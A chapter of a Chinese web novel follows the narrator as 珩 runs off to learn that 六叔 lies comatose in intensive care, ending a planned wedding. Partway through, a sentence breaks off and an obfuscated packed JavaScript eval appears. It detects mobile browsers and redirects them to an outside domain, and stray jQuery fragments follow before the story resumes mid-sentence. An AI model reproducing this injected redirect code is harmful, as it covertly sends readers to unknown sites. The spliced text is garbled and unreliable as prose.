出来的时候已接近傍晚，张阿姨喊困，我跟她换了个位置，我来负责开车。几个阿姨都困了，没过多久，后排就传来均匀的呼吸声。


    珩没睡着，她放松地靠在椅背上，看起来心情不错。也许是因为确定了自己的心意，我反而有些拘谨，不像平时那样，不停想要跟她讲废话。车子就这样安静地行驶着，天色渐暗，工作日晚高峰的车流正在成型，车子被困在繁华的商业区里，行进缓慢。


    珩好像有点轻微晕车，走走停停晃晃荡荡如同摇篮的车厢里，她看起来蔫蔫的。这个时间点，每个人都归心似箭，着急回家的车在车龙里左穿右插，堵得人心烦。碍在几个阿姨在睡觉，我不好按喇叭，但隔壁好些车子已经忍耐不住，哔哔卟卟的喇叭声此起彼伏。


    杂乱的噪音背景里，谁的手机在震。


    不是我的手机，我没管，机器震动的声音持续几十秒后停止。但对方似乎很着急要找到人，安静下来没两秒，某人的手机又开始震动。


    我看一眼隔壁的珩：“是不是你手机在响？”


    珩歪在座椅上，偏过来看我一眼，之后伸手摸自己口袋。果然是她手机在响，看到来电显示时，她细长的眉毛轻轻蹙起。


    “喂？”她接通电话。


    电话那边很吵，杂音很多，我听不清对方说了什么。但因为晕车而面带倦色的珩，像是忽然被惊醒过来，她给对方留了一句：“你等我一下，我现在回来。”之后就匆匆挂断了电话。


    车子还堵在路中间，她看向路边不远处的地铁站，小声和我说道：“我现在下车，我要回去一趟。”


    车龙纠缠成一片蛇饼，她匆忙开门下车，之后从车和车的缝隙里钻出，跑到路边的地铁站入口去。我目送着她的背影离开，她看起来很着急，也没想起来要道别，一转眼便踏上地铁站的扶手电梯，缓缓被人来人往的地下空间吞没。


    她没跟我说是什么事情，我也没来得及问。我有一瞬间看向了自己的手机，想着要不要给她发个信息问问。但转念一想又作罢，算了，让她先忙去吧。


    车子在路上磨磨蹭蹭，磨到目的地商场附近，熟睡的几个阿姨才陆续醒过来。我含糊其辞，只说珩接了个电话有急事跑了，她们也没多问，我带着她们几个去吃烤肉。除了和中老年发福老公到处觅食的张阿姨，其他三个人都没来过烤肉店。她们四个聊得热火朝天，我跟她们有代沟，我负责烤肉和安静地听，不开口说话，注意力无处安放，好像有一片注意力粘在了珩的身上，随她不知到哪去了。这一晚上我吃得心不在焉，总忍不住在想她发生了什么，现在又在哪里。


    珩一直没给我发信息，吃过饭之后，我把几个阿姨都送回了家。张阿姨家离我住的地方不远，我慢慢地往家的方向走。夜深人静，只剩了我一个人，我实在忍不住，摸出手机，给珩发了条信息。


    “你吃饭了吗？”


    现在是晚上八点五十分，这不是她会秒回的时间段。今晚自然也不例外，她没回复。


    我想了想，转身往社区活动中心的方向走去。


    到达社区活动中心的时候，时间已接近九点。老人们都已经回家，屋里只剩下几个社工在打扫卫生。一看见我来，没等我开口问，他们就先说道：“珩还在里面聊着呢。”


    “聊了快半个小时，不知道在聊什么。”


    “听起来很激动的样子，好像都哭了。”


    我皱起眉：“什么？”


    “嘘，你听听，这不是有人在哭吗？”


    走廊那头的屋子里确实隐约有人在哭，那声音一抽一抽的，中间夹杂着断断续续的，因为持续啜泣而发音不清的含糊词句。


    “哭好久了，我们不知道是什么事，也不敢进去看。”扫地阿叔对我说，“正好你来了，你去看看吧。”


    我追着声响的来源，走过社区活动中心的门厅，除了门厅，后面的房间都已经关了灯，走廊上只剩下左边花园和右边街道的路灯照明。整条走廊上，只有最末尾的房间开着灯。灯光和里面人说话的声音都从房间没关严的一小条门缝中漏出，我加快脚步，几乎小跑着上前。里面人哭泣的声音越来越大，说话的声音一直隐藏在沉重的呼吸声下，听不清内容。


    忽然间窗纸上映着的瘦削人影站了起身，那是珩，向来没什么情绪波动的她，几乎有些失控地从椅子上起身，我听见了她的声音，和她以前教训我时不一样，她爆发的情感显得飘忽，像一团没有质料的火焰。


    “我说了我做不到，我不能让死人复生，我不能把他叫醒，你听明白了吗？”


    吼出这一句话之后，窗上的剪影便颓颓然地立在那里，她的肩膀颤抖着，似乎是在哭。


    我不管了，一手把门推开。珩就站在靠近门的地方，她眼圈通红，浅色的眼睛湿漉漉的，好像是要哭。她看起来很累，神疲力倦，连看见我突然间出现在面前，脸上也激不起多少惊讶。


    我马上挡在她的面前，我看见她那几乎要落泪的眼睛，一句话都说不出来，手忙脚乱地在自己身上乱摸，找平时根本不可能随身带着的纸巾。她沉默着，既不说话，也不看我，只是微微低着头，似有些沮丧地偏过脸去，看着门外的走廊。


    而我这时候留意到屋里的哭泣声还在继续，甚至在她吼出刚刚那句话之后，哭泣声变得更大。像是之前压抑着没放开哭，现在破罐子破摔，哭得声嘶力竭。我这才反应过来我在外面听到的哭声不来自于珩，我回过头去。


    对面坐着的是一个三四十岁，穿着整齐讲究的职业套装的中年女人，细边眼镜摘了放在一边，一双眼睛哭得比我那天还肿。她脸上的妆全花了，因为一直用纸巾抹眼泪，连眼睛上面的眉毛都花掉，一边眉毛颜色深，一边眉毛颜色浅。而她似乎赶了一段路，高跟皮鞋的边缘划得脚上皮肤通红，看起来很疼，她一直无意识地踮起脚尖，让脚后跟远离鞋子。


    我险些没认出那是谁，因为她以前每次出现在我面前，都是一个优雅干练的女教授形象。


    那是司徒阿姨和六叔的女儿。


    我转向珩：“发生什么了？”


    珩回答时的声音几乎有些冷漠，她好像在陈述什么和自己一点关系都没有的事：“六叔昏迷了，现在在ICU。”


    后面女儿哭得更厉害了，而我被这突如其来的消息震懵。前几天不是才说准备出院了吗？怎么忽然间……今天早上我们甚至还在欢天喜地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412882|177656||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地给司徒阿姨挑婚纱。怎么忽然间……


    “不是，什么意思？”


    珩的声音变得更冷，她那语气几乎有些迁怒的意思：“肝癌晚期，肝功能衰竭，肝性脑病，这几天开始行为失常，为了瞒住司徒阿姨，每天只让她去见六叔一会儿就走。就在今天下午，他昏过去了，之后就没再醒来。我在车上接的电话，是六叔被转到ICU，医院下了病危通知书。”


    后面女儿已经泣不成声，珩一点没顾念她的难过，接着说道：“意思就是他现在醒不过来了，婚礼办不成，明白了吗？”


    这两三个星期的时间里，甚至之前更久远的日子里，我们这么多人，为了这场婚礼做了这么多的筹备工作。上天为何这样安排，明明一切都准备妥当，偏偏在这时候要将六叔带走。我心里很乱，一方面觉得可惜，另一方面……我不敢想司徒阿姨知道这个消息之后会难过成怎样。二十分钟前我送她回家时，她还满怀憧憬地和我说，啊呀，女儿结婚之后，十几年没见过阿六穿西装了，有点期待呢。结果现在，她可能连六叔最后清醒着的时光都已经错过，她甚至来不及跟他作最后的告别。


    “真的没有别的办法了吗？”我挣扎着说，“他至少还活着，有没有可能让司徒阿姨见他最后一面，和他说几句——”


    我不知道我说了什么，我好像在无意间踩到了珩的猫尾巴，她忽然间又作出攻击的态势，她冰冷的目光显得好陌生。她凶我好多次，但从来没有这样的表情，不知道是我哪句话碰到了她的逆鳞，她几乎是恶狠狠地看向我，声音冷酷得可怕：“我说了没有。”


    我瞬间喑声。连后面哭着的女儿也愣住了。她这个样子太陌生了，简直和平时不像同一个人。


    “你什么意思，你在怀疑我没有尽力是吗？他是昏迷了，不是睡着了，我不可能进他的梦里，把他沉没的意识捞出来。活人和濒死的人之间有一层壁，我没有濒死的体验，底下是我观测不到的区域，我下不去！”


    她那爆发的怒意像一阵火焰，但它很虚弱，在一次激烈的爆发过后，它瞬间就化成了几片轻飘飘的灰烬。她的精神好像霎时委顿下去，我看见她眼里的怒意倏地熄灭，之后她湿漉漉的眼睛疲惫地闭上，两滴泪从她的眼里无声地滚落。她匆忙地用手背擦了擦脸，之后就一声不吭地转身出去。


    我追上去，她听见我来，更加快脚步，不想搭理我。我没办法，只好伸手去抓她。她的手臂很细，她回头看我的时候脸上都是草草擦掉的泪痕，她看起来比平时脆弱好多，我几乎担心要弄疼她，她一回头，我就赶紧松了手。她不高兴地盯着我看，但这时候的她像个纸老虎，一边装出平时严肃的样子，一边忍不住在掉眼泪。


    “我没有要怀疑你，或者责怪你。”我向她道歉，“我只是觉得有点可惜，想让他们见一面，想看看还有没有别的方法。对不起。”


    道歉不起作用，她凶巴巴地看我一眼，还在掉眼泪。她偏开脸，背着我又狠狠地抹了一把眼泪。


    “刚刚你说是因为你没有濒死的经历，所以没法下去是吗？如果是因为这个，也许我能帮上忙。”


    她停住擦眼泪的动作，转过身来看我：“你说什么？”